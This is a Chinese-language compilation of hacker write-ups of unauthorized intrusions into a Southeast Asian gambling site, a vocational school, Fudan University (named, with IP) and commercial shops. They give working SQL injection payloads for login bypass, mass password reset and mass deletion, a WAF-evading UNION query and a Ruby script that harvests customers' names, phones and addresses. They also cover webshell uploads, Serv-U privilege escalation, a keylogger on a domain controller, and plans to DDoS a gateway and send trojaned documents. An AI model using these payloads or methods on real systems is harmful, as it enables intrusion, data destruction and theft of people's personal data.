对东南亚某站的一次渗透

时间:2023年07月14日

/

来源:Sylvia?

/

编辑:本站小编

收藏本文

下载本文

下面是小编收集整理的对东南亚某站的一次渗透,本文共7篇,仅供参考,希望能够帮助到大家。本文原稿由网友“Sylvia?”提供。

篇1:对东南亚某站的一次渗透

iceeye@5py.cn

iceeye@darkne2s.org

3月8日

在正文前,我先说说这个站的大概情况:Apache的服务器, 网站php+mysql,整站只有一个要验证的登陆页,因为没有注册页面,所以只能在仅有的登陆页摸索!!

因为漏洞已补,所以把记录发了出来。

经2天的摸索得知,在用户密码框里提交$password的时候,他是这样处理的:

SELECT id,username,type FROM members WHERE username='admin' AND password=PASSWORD('$password') AND `enable`='Y'

其中`enable`好像是系统常量(或者变量)

我想应该构造如下query:

SELECT id,username,type FROM members WHERE username='admin' AND password=PASSWORD('') or PASSWORD('1')=PASSWORD('1') AND `enable`='Y'

**************分析结束

简单处理一下:

SELECT id,username,type FROM members WHERE username='admin' AND password=PASSWORD('###') or PASSWORD('1')=PASSWORD('1###') AND `enable`='Y'

注意:###内的是我们应该输入的

所以,我们应该把$password设定为:') or PASSWORD('1')=PASSWORD('1

提交:

username:admin

password:') or PASSWORD('1')=PASSWORD('1

返回:

Invalid SQL: SELECT id,username,type FROM members WHERE username='admin' AND password=PASSWORD('\\\\') or PASSWORD(\\\\'1\\\\')=PASSWORD(\\\\'1') AND `enable`='Y'

好了,还差1点点

如果是这样就可以了:

SELECT id,username,type FROM members WHERE username='admin' AND password=PASSWORD('\\\\') or PASSWORD(\\\\'1\\\\')=PASSWORD(\\\\'1\\\\') AND `enable`='Y'

所以把password设定为:') or PASSWORD('1')=PASSWORD('1\\\\

提交,

Invalid SQL: SELECT id,username,type FROM members WHERE username='admin' AND password=PASSWORD('\\\\') or PASSWORD(\\\\'1\\\\')=PASSWORD(\\\\'1\\\\\\\\\\\\\\\\') AND `enable`='Y'

少提交一个\\

所以把password设定为:') or PASSWORD('1')=PASSWORD('1\\

提交,

Invalid SQL: SELECT id,username,type FROM members WHERE username='admin' AND password=PASSWORD('\\\\') or PASSWORD(\\\\'1\\\\')=PASSWORD(\\\\'1\\\\\\\\') AND `enable`='Y'

看来他把一个\\处理为4个\\

陷入苦思冥想中.................

**********************************到此一个阶段结束

冷静的分析:

目前我们需要把后面的

PASSWORD(\\\\'1\\\\')=PASSWORD(\\\\'1\\\\\\\\')

构造成为一个true值的表达式

但是目前可以利用的有:

1.一个 ' 变为: \\\\'

2.一个 \\ 变为: \\\\\\\\

从数学上面分析,如果要构造起来,好像不可能

但是思想是不变得,就是要让表达式变为true

所以换函数是没有用的

********************************************

最后,能不能用注释呢?对于MySQL的注释我不是很了解,但是我想应该和Perl、Shell、PHP一样是#把:

password设定为:') or 1=1 #

那么:

SELECT id,username,type FROM members WHERE username='admin' AND password=PASSWORD('') or 1=1 #') AND `enable`='Y'

试验:成功!也就是说,可以进任意一个帐号。

这次渗透有多谢几个人,多谢吉阳的睿智,多谢emm&fzk的刺激(emm物质上的刺激和fzk精神上的打击,呵呵),多谢whg的SockMon ,最后多谢老袁的信任和支持……

记录简单,但过程是痛苦的。进站后,见到了想要的东西后, 2天不停歇的大脑再也受不了刺激了!

付:事后分析该站的结构

该网站结构

//////////////

配置文件php.ini

magic_quotes_gpc = On (猜测,系统把所有的\\变为\\\\,把'变为'\\)

所以:我们输入一个'变为\\\\',输入一个\\变为\\\\\\\\(最后拿到配置文件证实了我的猜想)

程序对GET/POST不敏感

///////////////

因为该站不允许在IE提交数据,以下数据绝大部分都是在本地构造表单捉包得到!

///////////////////

/index.php #让整个网站在一个框架内

/app/member/index.php #首页、登陆页

/app/member/translate.php?set=zh-cn&url=$url

#对$url进行翻译的翻译,其中URL为:/app/member/index.php&uid=54f22f825e5aef4f

#备注:这里有个uid

/ok.php #空页

/app/member/login.php?uid=54f22f825e5aef4f&langx=zh-cn #登陆,uid为我当时访问网站所分配的

#POST的有用信息:uid=1c2c91396a7f1966&username=caa1307&passwd=ice3y3 #备注:用户和密码是用管理员权限进了才能添加的,也就是说,根本不能个人注册

#SQL:SELECT id,username,type FROM members WHERE username='$username' AND password=PASSWORD('$password') AND `enable`='Y'

#登陆以后,uid被重新分配,并且将 用户名 和 密码也传过去。估计在服务器会有一个数据表专门存这些数据

#可能的数据表结构:

CREATE TABLE loginuid(

uid char(16),

id integer,

username varchar(30),

time datetime

);

/app/member/chk_rule.php?mtype=&uid=1c2c91396a7f1966

#其中mtype好像不是必须的参数,也不起到什么作用

#程序对uid进行查询,如果非法,则返回首页

/app/member/FT_header.php?uid=1c2c91396a7f1966&showtype=&mtype=3

#显示最上面菜单的,后面的参数其实不是必须的,包括uid

/app/member/select.php?uid=1c2c91396a7f1966&mtype=3

#最左面的用户信息区,要求uid合法

足球

/app/member/FT_index.php?uid=1c2c91396a7f1966&langx=zh-tw&mtype=3

#进去以后,默认为显示 足球,其中mtype好像没有什么作用

/app/member/FT_browse/index.php?uid=1c2c91396a7f1966

#单场rtype=r

/js/FT_mem_showgame.js

#这个好像是下注的时候,用来在左边信息栏里面生成页面的

/app/member/FT_browse/body_var.php

#其实就是一个HTML,生成数组的,对以后的研究有用

/app/member/FT_browse/body_browse.php?uid=109dc631978b8b0&rtype=r

#显示单场信息的,不过好像不需要uid

#走地:和单场一样,只是rtype=re

# :和单场一样,只是rtype=pd

#入秋数:rtype=t

#标准过关(rtype=p)、让球过关(rtype=pr)

投注:

/app/member/FT_order/FT_order_m.php?gid=843&uid=109dc631978b8b0&type=H&gnum=301

#生成投注界面

#其中gid和gnum在body_var数组定义里面有

/app/member/FT_order/FT_order_m.php

#处理投注信息

#POST:

gold=60&uid=109dc631978b8b0&active=1&line_type=3&gid=843&type=C&gnum=301&concede_h=1&radio_h=100&ioradio_r_h=6.60&gmax_single=30000&gmin_single=50&singlecredit=1000&singleorder=500&restsinglecredit=0&wagerstotal=1000&restcredit=1000&pay_type=0

#SQL:SELECT FL,fid,pos from FT_follow WHERE gid='$gid'

#SQL:SELECT * FROM FT_param where ltype=$line_type and gid=$gid and rtype='$rtype'

#SQL:INSERT INTO wagersOU (gtype,wtype,cid,sid,aid,mid,code,code_value,pay_type,winloss_s,winloss_a,gold,gold_d,gid,gnum,strong,type,concede,ratio,ioratio,result,orderdate,adddate,wingold,wratio_c,wratio_s,wratio_a,wratio_m,wgold_c,wgold_s,wgold_a,wgold_m)VALUES('FT','M','7','26','104','453','RMB','1','0','100','30','$gold','5.00','$gid','$gnum','','C','1','100','$ioradio_r_h','0','-03-10','2004-03-10 01:03:50','0','95','95','95','100','0','0','0','0')

/app/member/FT_order/FT_order_p.php

#生成临时投注

#POST:

game_id1=844&game1=H&game_id2=846&game2=H&game_id3=847&game3=H&game_id4=848&game_id5=849&game_id6=845&game_id7=850&teamcount=7&active=1&uid=6defa21b702a5d87&TEAM0310=%C8%B7%C8%CF

#SQL:SELECT FL,fid,pos from FT_follow WHERE gid='$game_id1'

#SQL:select ioratio from FT_param where gid='903' AND rtype='M$game1'

/app/member/FT_order/FT_order_pr.php?active=3&uid=109dc631978b8b0&tmp_id=76507&pdate=2004-03-10

#删除临时投注,注意tmp_id

#SQL:delete from wagers_tmp where id=$tmp_id

/app/member/FT_order/FT_order_pr_finish.php

#多个投注处理

#POST:

wkind=S&wstar=3&gold=50&uid=109dc631978b8b0&active=1&teamcount=3&username=caa1307&singlecredit=1000&singleorder=500&gmin_single=50&gmax_single=500&restcredit=854&wagerstotal=0&pay_type=0&sc=0+0+0+&pdate=2004-03-10

#SQL:SELECT id,gold,code_value FROM wagersP WHERE mid=453 and star=$teamcount and rtype='PR' and gtype='FT'

/app/member/result/result.php?game_type=FT&uid=109dc631978b8b0

#比赛结果

#POST:game_type=FT&today=2004-03-10&submit=%B2%E9%D1%AF

#SQL:select id,name_c,name_g,name_e from $game_type_leagues

#SQL:select * from $game_type where league_id='199' and date='$today' and game_over='Y' ORDER BY num_c

会员资料:

/app/member/account/mem_data.php?uid=109dc631978b8b0

#会员资料,uid必须合法

/app/member/account/chg_passwd.php?uid=109dc631978b8b0

#修改密码

/app/member/account/chg_passwd.php?uid=109dc631978b8b0

#action=1的时候处理密码信息

#POST:password=ice3y3&action=1&uid=109dc631978b8b0

#SQL:update members set password=PASSWORD('$password'),passwd='$password' where id='453'

#注释:其中members.password是加密后的密码,passwd是明文,id是根据uid算出来的

#构造:update members set password=PASSWORD('$password'),passwd='$password' where id='453'

****************************************************

程序分析:

登陆:

#SQL:SELECT id,username,type FROM members WHERE username='$username' AND password=PASSWORD('$password') AND `enable`='Y'

它验证的是members.password,也就是被加密过的密码字段,而不是明文密码字段,所以我们修改密码只需要修改members.password

通过/app/member/account/chg_passwd.php?uid=109dc631978b8b0 修改

#SQL:update members set password=PASSWORD('$password'),passwd='$password' where id='453'

#由于 ' 最终 被替换为 \\\\' , \\ 最终 被替换为 \\\\\\\\,所以我们修改的密码都得有\\字符

#$password=newpwd') where id=id/*

#系统处理以后 最终 变为:$password=newpwd\\\\') where id=id/*

#代入SQL:

#SQL:update members set password=PASSWORD('newpwd\\\\') where id=id/*'),passwd='newpwd\\\\') where id=id/*' where id='453'

#等价于SQL:update members set password=PASSWORD('newpwd\\\\') where id=id

#其中的id可以是任何一个数字

删除临时投注:

/app/member/FT_order/FT_order_pr.php?active=3&uid=109dc631978b8b0&tmp_id=76507&pdate=2004-03-10

#删除临时投注,注意tmp_id

#SQL:delete from wagers_tmp where id=$tmp_id

#$tmp_id=1 or 1=1/*

#SQL:delete from wagers_tmp where id=1 or 1=1

#结果:删除所有的临时投注

//////////////////////////////////////////////版权为iceeye本人所有,请著明

篇2:对某国家级重点职教网的一次安全渗透网站安全

一个朋友准备上某职业技术学校,说该学校号称是国家级重点中等职业学校,只要进入该学校每个学生即可享受3000元国家助学金,该学校网站如图1所示,目前要了解一个学校,只有两种方式,一种是进行实地考察,另外一种就是通过网站来了解,既然朋友给了一个网站就就看看该网站的安全情况如何,

图1 某职校网站

一、信息收集

1.获取IP地址信息

直接打开DOS窗口,然后使用“ping www.**j.com”获取该网站的真实IP地址,如图2所示,通过ping命令知道该主机无丢包率,延迟时间为49。

图2 获取IP地址信息

说明:

使用ping命令一方面是为了获取IP地址,另外通过延迟时间来判断网络速度快慢,也便于后期对该服务器的一些口令检测,例如mysql、mssql、ftp以及pop3等口令的检测。

2.初步获取端口开放情况

使用“sfind.exe Cp 61.*.*.96”命令来获取该职校服务器的端口开放情况,如图3所示,该服务器开放了21、80以及3389端口,通过端口扫描可以初步判断为该服务器为Windows系列。

图3 获取端口初步开放情况

技巧:

(1)3389端口一般为远程终端服务开放端口,只要见(该端口可以初步断定为Windows系列主机。

(2)可以先使用3389远程终端连接器连接该IP地址进行登录尝试,如果登录成功,可以看到该操作系统是Windows Server还是Windows Server。本例中通过3389远程终端连接器连接,获取该系统为Windows 2000 Server操作系统。

(3)可以使用superscan以及X-scan等扫描软件扫描端口,X-scan扫描软件个头比较大,扫描操作相对复杂,扫描结果比较全面。

说明:

Superscan3.0版本扫描的结果可以直接访问80、21以及23等服务。二、口令检测

1.扫描口令

根据个人爱好,我一般是脚本检测和口令检测同步进行,在肉鸡上直接运行hscan,设置好参数开始扫描,在本次检测中比较幸运,扫描出该主机IP地址存在弱口令,在本地运行“CuteFtp8.0Professional”,单击“Site Manager”在其中新建一个站点,输入该主机IP地址和和获取的用户名以及密码,最后单击“连接”,进行登录尝试,如图4所示,登录成功。

图4 使用CuteFtp8.0Professional连接Ftp服务器

2.信息分析

通过“CuteFtp8.0Professional”软件对该Ftp服务器的当前用户目录中的内容进行查看,在图4中,我们可以看到该Ftp目录中存在conn.asp数据库连接文件,在该目录还可以看到一个比较熟悉的文件newasp.asp(木马程序常用的一个文件名称)文件,将以上文件下载到本地,并通过UltraEdit-32编辑器打开conn.asp文件,如图5所示。知道该Web站点使用的是Access数据库,数据库路径为根目录下的“database\”,数据库名称为“l***88.asa”,该网站系统使用的是PowerEasy,即使用动易网络论坛系列。

图5 查看conn.asp文件内容

3.获取Webshell

查看conn.asp文件后,继续查看其它文件,在newasp.asp文件中我们发现如图6所示,可以很清楚的看出该文件就是一个Webshell,从中还可以看到该Webshell的密码为“h***56”。既然获取该Webshell后,那就直接在该网站输入IP地址后进行尝试。

图6 获取Webshell地址三、实施控制和渗透

1.获取Webshell

在浏览器中输入“网站地址+对应的Webshell地址”,在本例中输入“www.n**.com/newasp.asp”,如图7所示,该Webshell可以正常运行,说明该Webshell可用,

图7 获取Webshell

2.通过Webshell查看文件

在Webshell中输入密码后单击“登录”按钮,验证通过后,如图8所示,可以正常使用该Webshell,通过该Webshell可以看到该网站下的所有文件,通过Webshell可以下载、删除、移动以及编辑等操作。

图8 通过Webshell查看文件

3.通过Serv-U提升权限

在该Webshell中单击“Serv-U提升权限(超强版)”,进入提升权限界面,在该界面中使用默认设置即可,然后单击“提交”按钮将添加密码为“pass13”,用户名称为“user13$”的用户到管理员组中,如图9所示。

图9添加用户提升权限

说明:

(1)在使用Serv-U提升权限时,一般采用Webshell默认的用户名和密码为佳。(2)如果服务器口令有强制性设置,则在添加用户密码时需要满足复杂性要求,即要求满足大小写字母、特殊字符、数字以及位数等要求。

4.提升权限成功

如图10所示,提升权限成功后会给出相应的提示,不过需要注意有时候即使显示成功也不一定添加用户成功。

图10 提升权限显示成功

5.登录服务器

打开远程终端登录器(mstsc.exe),输入刚才添加的用户名和密码,进行登录尝试,登录验证通过后,成功进入该服务器,如图11所示,在该服务器上查看管理员用户组时发现除刚才添加的用户外,还可以看到“iis_helper”用户也为管理员组,通过查看该用户密码修改时间,获取该用户是10月28日添加的,查看newasp.asp文件的时间是8月11日,可以判断该服务器可能在208月就曾经被入侵过。

图11登录服务器五、简单的安全加固

1.使用“360安全卫士”进行简单安全加固

在该计算机上发现安装有“360安全卫士”,打开“360安全卫士”对系统进行一些简单的安全扫描,如图17所示,在恶意插件扫描中,一共发现有9个,将其清除,修复系统存在的安全漏洞。后面还使用360卫士清理启动选项等,对该服务器进行简单加固。

图17 使用“360安全卫士”进行简单加固

2.使用杀毒软件清除系统中的病毒

使用MacFee杀毒软件对系统中的磁盘进行扫描处理,如图18所示,发现系统中存在一些病毒,该文件所在目录为一个Ftp匿名登录目录,可以猜测有可能是入侵者利用社会工程学在进行挂马。

图18 使用杀毒软件进行杀毒

六、总结

本次安全检测仅仅通过扫描Ftp、Mysql以及MSSQL弱口令就获取了某职业学校的控制权限,如果有时间和耐心应该可以渗透该内部网络。本次安全检测的关键就是通过“CuteFtp8.0Professional”软件获取了网站的一些关键文件,包括Webshell,直接通过Serv-U就提升权限成功,进而成功控制系统,就个人经验来说,可以采取以下一些措施来加固系统。

(1)重新更换系统中的所有密码,删除多余的管理员。

(2)对系统进行杀毒、木马检测、端口查看、网络连接等安全检查。

(3)对网站代码进行安全检测,查看代码中是否包含后门和木马代码。

(4)安装防火墙并及时升级系统防火墙、系统补丁。

(5)更改3389端口为其它端口,在事件中增加安全审核,并仅仅授权管理IP地址,即仅仅某一个网段或者某一个IP地址才能访问3389。

(6)严格控制Ftp用户以及目录,如果没有特殊的需要,尽量使用Windows自带的Ftp服务。

篇3: 对复旦大学的一次漫长渗透

目标:www.fudan.edu.cn

IP: 61.129.42.5

Port:21.80.22,3306,4444,4662,8009,8080

Web:sun Unix

以上是对目标信息进行的搜集,开了22端口,管理员可能是用SSH来管理主站,上次hackest检测的时候,就是拿下了C段的一台windows主机,从而对目标主机嗅探得到FTP密码.这次我的目的不仅仅是主站,而是复旦大学的整个网络.

1. 初战告捷

思路:因为像复旦大学这样的内网,在路由器上是设置了很严格的外网访问规则的,想扫弱口令?根本不可能.(后来事实也证明了我的猜测,2级域名ping下去都是一个IP,看来是在路由那里做了端口的设置),通过脚本漏洞拿下内网的一台机器,摸清里面的结构再说吧.

结果:很轻易的拿下了一台内网机器,内网ip:10.107.0.12(windows2000).并且成功抓取到了管理员密码

方法:分站越多.安全越难兼顾.拿出域名查询助手,查了下其c段的域名,,一个个分站的检测,不知不觉中就发现了突破口,一个分站的论坛回复的时候可以直接上传jsp附件,估计是学生写的吧,要不怎么会让jsp文件都可以上传.很轻易的得到了一个jsp的webshell,呵呵,jsp权限很大的哦,通过教主在邪八发布的那个端口转发的工具杀进内网.(具体用法我在上期的对华中科技大学的渗透中讲过了,要多多关注黑手咯)

总结:现在对于大型的站点,asp的类型越发少了,所以大家也不要拿起注入工具,对着目标一阵乱扫,理清思路,多在上传上想办法,上传可是可以直接拿到wenshell的,还有用google搜索一些关键字,对于学校站点还是很有效的.

2. 内网徘徊

思路:身在内网,可以摸索到外网无法收集的信息.扫描-溢出-嗅探,拿手好戏当然是社工.

结果:拿下10.107.0.36 | 10.107.0.21 | 10.107.0.59三台机器(均为windows2003)以及若干信息.

方法:扫描出sa弱口令,拿下机器:10.107.0.36;52端口的dns溢出,拿下机器10.107.0.21;通过cain的嗅探,得到一个ftp弱口令,帐号为:administrator,密码为xxxx,社工3389,成功进入,拿下机器10.107.0.59.

总结:了解出了拓扑,对应外网的网址,内网的信息对之后的渗透起到了很重要的作用,每个系都是独立一台服务器,所以说密码社工的概率变小了,不过没关系,他们的意识都不强.

3.中途夭折

结果:在10.107.0.12上挂着xscan让它扫,睡一觉起来,服务器连不上,jsp木马显示连接不上.

总结:内网扫描的确存在很大的危险性.而且我这里是端口转向进内网,稳定性还有待考证.最重要的一点是不应该在突破口这台机器上进行过多行动,现在突破口的机器没了,那么我内网拿下的机器,以及搜集到的信息也没有任何作用了.

4.越挫越勇

思路:没有那么容易放弃的,继续想办法杀进内网,看来还是要从脚本入手了.这里我想到了jsp站点的tomact安全型会不会存在问题.

结果:成功再次杀进内网,拿下机器:10.107.0.44 | 10.61.18.40(图5)(均为windows2003),以及10.67.1.1的webshell.

方法:google搜索inurl: fudan.edu.cn jsp,在搜索到的站点后加入/manager/html,弹出登录框,输入帐号admin,密码空.成功进入.得到 webshell的方法是在tomacat里的上传里上传.war结尾的文件,这个文件里面包含了jsp马,具体的可以参看黑手08第一期小鱼写的文章. 这个方法直接得到了系统权限,要知道jsp配置不好,脚本的漏洞可以直接导致系统权限的沦陷.10.67.1.1的wenshell是通过sql注入得到,猜解出管理员帐号密码,进入后台,上传的地方不准许上传asp文件,没关系,在上传文件后面加入一个空格即可突破,asp的wenshell可是没有 jsp的大哦,不过基本没设置权限,默认安装的,替换了服务,就等他重启.

总结:管理员的弱意识让我重新进入内网,很多管理员不熟悉tomact,基本默认安装,jsp的安全是一个值得注意的问题,不为别的,有了jsp马,我都不用放后门了.

截图:

[paging]

5. 内网遨游

思路:仿佛回到了第一次进入其内部的思想,不过这次比上次的思路肯定要精准点些,现在我们的到的机器分别为:10.107.0.xxx段的 12,41,36,44.以及10.61.18.40以及10.67.1.1,跨度为3个段,挂起cain嗅探,应该会有不小的收获吧.现在的思路很明确,内网大的话往往没用方向感,这时我想到了,在10.107.0.xxx段拿下域服务器的话,那么在这个段我就可以穿行自如了.

结果:拿下了域服务器,上面安装了键盘记录.

方法:用s.exe扫描53端口,一般域服务器才会开53端口,得到结果为10.107.0.29,10.107.0.141为域服务器,dns溢出,成功进入,安装了键盘记录,就等管理员上线了.

6. 领土扩展

思路:10.107.0.xxx段基本搞定,继续扩大战果就要用到社会工程学咯,从密码和人方面社工.

结果:通过fxp拿下了内网不少机器,可是主站没有继续下去,因为始终是非授权的.

方法:虽然没有继续下去,不过我整理了下思路.

1. 选择在10.61.18.40上进行远程连接其他机器,虽然速度上会慢点,但是在日志文件里面就不会留下我的外网ip.

2. 小泽老师说要拿到拓扑结果,因为你不知道复旦的主站是内网的哪个ip,有可能是主站和分站是不同的集群,又有可能是相同的,太多可能了,拿到拓扑才可以了解清楚.怎么拿到拓扑呢?先得拿下一台网关服务器再说,因为这里的网关是路由,我们拿下了就可以知道它给ip做的是怎么样的策略.方法是,107段拿下了很多机器,一台不停的ddos网关,一台不停的嗅探,网关挂了,必然重启,这时就可以嗅到网关的密码,之后拿到路由的策略就知道主站在哪个ip上,从而对其进行嗅探.

3. 从社工的角度来获取权限,第一次进入的时候我给管理员发过邮件提示过,管理员跟我有一定的交流,从他的话中我知道了,分站是系里托管的机房,证明了主站跟分站不是一个集群,我得到了他的信任,那么我在邮件的doc上捆马会是怎么样的结果呢?拿到一台网管机同样可以达到拿到拓扑的目的,后面的方法就跟2是一样的.

7. 总结

安全检测就此结束,我在这次安检里面学习到了很多东西,一路下来,我的思路很明确,玩渗透玩的不就是思路么,希望可以是有授权的检测,毕竟没拿下主站,有些遗憾.

篇4:一次奇遇的渗透

其实这一步可以完全省略,都说了是奇遇了,其实就是检查下自己的站点是否安全

作者:y0umer

打开网站发现

习惯的加了一个引号    确定是注入以后直接丢啊D了。(我懒)    这不悲剧了么,猜不出表段??

扫扫目录看看。

发现del.asp打开看看。。    错误提示的是在查询表达式中“id=”的错误 也就是查询错误。没有id的值。

随便加一个del.asp?id=1

相当悲剧之。直接爆数据库路径了。。

然后下载,打开找到admin表段,

其实就是admin

找到后台登陆,相当悲剧

继续看数据库。。    顺利登陆。    看见了数据库备份。。

瞬间瞬间激动了。。

好吧,瞬间上传一个图片。。

这里判断了文件头。

我们需要合并......

合并成mjjw.png    然后我们把上传mjjw.png    然后备份    访问下吧。    然后我们用菜刀连接即可。。

篇5:某商业网站渗透分析网站安全

本次渗透分析仅针对WEB系统,考虑其他方面并没有直接可攻破的点

平台: Windows MSSQL IIS 6.0 测试层面: WEB应用程序-动易

由于本人对动易2006并不熟悉,虽然通过GOOGLE查了很多相关的漏洞信息,但是那些漏洞的发布日期已经有4,5年的历史了,只好先整体看看这个WEB的结构,通过首页发现除了注册和登录那里可以到有ASP脚本的踪迹外,其他地址都已经转换成了静态页面,于是注册一个测试帐号,登录进去,里面有些相关帐号信息设置和订单信息的项目,但是在帐号信息设置里没有发现比较明显可以造成漏洞的提交点,这个时候要变换思路了.

重新查看首页,中上部有一个搜索功能,于是马上提交一个单引号,测试返回结果令人振奋,结果如下:

Microsoft OLE DB Provider for SQL Server错误 '80040e14'

字符串 ' order by Hits desc' 之前有未闭合的引号,

/shop/proclass.asp,行 629

这该不会是WEB开发人员自己添加的功能吧,还是动易2006的功能,按道理动易2006经历了这么多的风风雨雨不会犯下愚蠢的错误的,这仅仅是一个猜测,我还没有下载源代码或者看代码文档作出合理判断。

但不管怎么说,这个SQL注入点是一个好兆头,既然是注入点,当然要测试一下一些基本的SQL语句,看能否得到一个敏感信息,于是提交‘ and 1=user--,结果返回空白页面,奇怪。。。难道有过滤?使用比较少见的’ having 1=1--有了返回结果,但是提示语法错误,可以肯定该WEB系统装了类似WAF或者有脚本过滤功能,搜索功能是通过POST提交参数,而且如果想通过自动化工具利用的话,也得抓包分析出其中的提交参数,于是乎请出WinSockExpert,得到路径和参数信息后,先用IE测试一下,结果令人很失望,GET方式过滤的比POST要更加严格,就连单引号已经被过滤,汗。。。填到NBSI里,不论是GET还是POST方式运行都提示错误,看来这个搜索功能的SELECT WERE有不可告人的语法哦,先放一边。

既然有此物也会有彼物的,请出伟大的GOOGLE帮忙吧,site:xxx.com filetype:asp,不错,有很多ASP的连接,其中www.xxxx.com/Shop/ShowTrademark.asp?ChannelID=100&SpecialID=4这个连接是最抢眼的,放入IE,在SpecialID=4之后加单引号,返回到首页,%100的肯定了有SQL注入过滤功能,但是别忘记POST是不能过滤的太严格的,不然用户也要提交一些有特殊符号的内容的,这就是我要钻空子的地方了,接下来用到了JCZ的注入工具,为啥用它呢,因为作者比较厚道,提供了一个查看DEBUG信息和一个自己构造SQL语句功能,可想而知作者是多么希望使用他工具的人不仅仅是会用工具,还是能理解原理的人。

在JCZ中,运行的结果出现了该WEB应用程序的数据库连接帐号是SA权限,支持多语句,数据库名,用户名一些基本信息,但是在进行到测试表名的时候出现了错误,说明被过滤功能阻挡了,怎么办???仅仅这些基本的信息是万万不能有啥突破的。

接下来通过查看JCZ的DEBUG信息,大概猜测过滤了哪些SQL语句,那么就要想办法绕过限制,JCZ的RunSQL功能是一个很好尝试的地方,单独的SELECT是无法执行了,于是想到了uion select的方式,测试结果是理想的,成功的绕过了限制,构造语句如下:/**/and/**/1=2/**/union%20all select%201,2,3,password,5,'a',7,8,9,10,11,'b',13 from PE_Admin—此语句的构造过程一波三折,首先字段数量不难点,纯属体力活,但是中间的几个字段注意类型,如果与前面SQL语句的类型不匹配就会发生错误,另外还有union 后面的all,如果不加会发生如下错误:不能以 distinct 方式选择 text、ntext 或 image 数据类型,这说明了在前面的SELECT语句后使用了DISTINCT的限制关键词

语法解释:SQL SELECT DISTINCT 语句,在表中,可能会包含重复值。这并不成问题,不过,有时您也许希望仅仅列出不同(distinct)的值。

关键词 DISTINCT 用于返回唯一不同的值,UNION 和 UNION ALL的区别,UNION在进行表链接后会筛选掉重复的记录,所以在表链接后会对所产生的结果集进行排序运算,删除重复的记录再返回结果。

而UNION ALL只是简单的将两个结果合并后就返回。这样,如果返回的两个结果集中有重复的数据,那么返回的结果集就会包含重复的数据了,了解语法后就很容易理解为什么要用union all了,因为关键词DISTINCT和UNION都有相同的取出重复值的功能,一起共处难免会让MSSQL难堪的:)

好了,通过上面语句我得到了后台管理员的用户名和密码,这里用XXX表示,那么就找后台路径去登录了,这里又是一个难点,我试过了常用的路径名,甚至动用了扫路径工具都无功而返,郁闷啊,思考好久,不如先放下?!看看这个IP绑定有哪些WEB吧,运气不错,有4个,其中一个WEB也使用动易2006,但是观察页面,和xxx不同的是,我根本看不到注册和登录的连接,于是通过xxx的路径信息,访问到了这个站的注册页面和登录页面,比较幸运的是,在我注册登录进去以后,在最下边发现了,后台管理的连接地址,根据这个地址我折回xxx访问后台,BINGO,原来这个服务器的WEB应用是同一个人或者组织维护的

但我满怀欣喜打开xxx的后台,正好登录的时候发现,在密码框之后还有一个管理员认证码,本来以为不就一个认证码嘛,我再注入得到就好了,但是通过查找动易文档,此管理认证码写到一个固定的配置文件中,只能有管理员才可查看和修改,一座大山突然出现在了我面前

痛苦之余,想了点别的,既然通过别的站点得到后台路径信息,那么可否通过xxx的注入点路径信息得到别的站点的管理员密码呢,但我访问的时候,又一次被深深的打击了一下,结果如下:对不起,你的服务器没有安装动易组件(PE_Common6.dll),所以不能使用动易系统。请和你的空间商联系以安装动易组件。

不能说一点收获也没有,至少我知道这个注入点是动易2006的一个组件造成的!

都已经可以执行SQL语句了,怎么可以就这样放弃,除了SELECT,我认为最好可以执行UPDATE,因为有这样一个事实:在基于WINDOWS 2003系统上,IIS6.0中,如果WEB路径的名字是一个X.ASP,那么在这个路径之下的所有任意类型的文件都会被当作ASP脚本解析,而且我查了动易2006有过这么一个漏洞,漏洞的要点在注册用户名的时候,没有过滤特殊字符点,导致可以注册一个X.ASP的用户名,然后通过访问user/Upload.asp?dialogtype=UserBlogPic&size=5,可以上传允许扩展名类型的文件上去,但内容可以是ASP类型的WEBSHELL,上传成功后,查看源代码,可以找到上传文件的路径信息。

这个事实阐述还是蛮长的,但是我眼前这个动易2006已经早就有了补丁,只允许字母和数字做为用户名,才能注册成功,但是如果我可以UPDATE更新我的用户名称X.ASP也可以达到目的吗,这叫间接实现老漏洞,呵呵,但我第一次构造好语句:;update/**/PE_USER/**/set/**/username='x.asp' where userid=xxx—提交后,HTTP返回无内容,又一次被过滤了,通过测试本地的MSSQL2000,update关键词是没办法拆分的,如果利用EXE(@sql),然后将@sql里用十六进制加密呢,通用过滤declare,cast,varchar等等所必需的元素,这条路也走不通,如果在update之前也加个/**/会怎么样呢,第二次构造好语句:;/**/update/**/PE_USER/**/set/**/username='x.asp' where userid=xxxx—

哈哈,有内容返回了,我相信已经更新成功,但我再次通过邮箱登录该帐号以后,在帐号信息了,发现用户名已经是x.asp了,非常的不错,我上传了一个很小的WEBSHELL,为了过愚蠢的图片验证机制,开头加GIF89a,上传成功,查看源代码,又一座大山出现在我面前;路径是有x.asp了,但是后面竟然有5个数字,仔细一看,正好是我的userid,破坏了我当初想的通过x.asp执行WEBSHELL的思路了,我很佩服动易的开发人员,为了程序安全,增加了很多安全机制在里面,下面代码是通过注入点得到所有订单用户的敏感信息:

测试代码 Httpsql.rb:

Code:[Copy to clipboard]

require 'uri'

require 'net/http'

require 'socket'

require 'iconv'

class Httpsql

def initialize(url)

@url = url

@uri = URI.parse(@url)

@i = 5

end

def Postsql(sqlstr, userid, startid=1)

http = Net::HTTP.new(@uri.host, @uri.port)

headers = {

'Content-Type' =>'application/x-www-form-urlencoded'

}

(startid..userid.to_i).step(1) do |id|

print “#” + id.to_s

params_1 = sprintf(sqlstr, “Username”, “ContacterName”,id)

params_2 = sprintf(sqlstr, “Mobile”, “Phone”,id)

params_3 = sprintf(sqlstr, “ZipCode”, “Address”, id)

begin

resp_1 = http.post(@uri.path, params_1, headers)

self.wirtelog(resp_1, “1”)

resp_2 = http.post(@uri.path, params_2, headers)

self.wirtelog(resp_2, “2”)

resp_3 = http.post(@uri.path, params_3, headers)

self.wirtelog(resp_3, “3”)

rescue

@i += 1

sleep(@i);

retry

end

sleep(@i);

end

end

def wirtelog(resp, flag)

#puts resp.body

file = File.new(“userinfo.txt”, “a”)

if resp.body =~ /^

(.*?)

if flag == “1”

file.puts “============================================================”

file.puts “网站用户名: ” + $1

elsif flag == “2”

file.puts “手机号: ” + $1

else

file.puts “邮政编码: ” + $1

end

end

if resp.body =~ /

(.*?)<\\/P>/

if flag == “1”

file.puts “真名: ” + $1

elsif flag == “2”

file.puts “座机: ” + $1

else

file.puts “联系地址: ” + $1

file.puts “============================================================”

end

end

file.close

end

end

if __FILE__ == $0

sqlsend = Httpsql.new(“www.xxx.com/Shop/ShowTrademark.asp”)

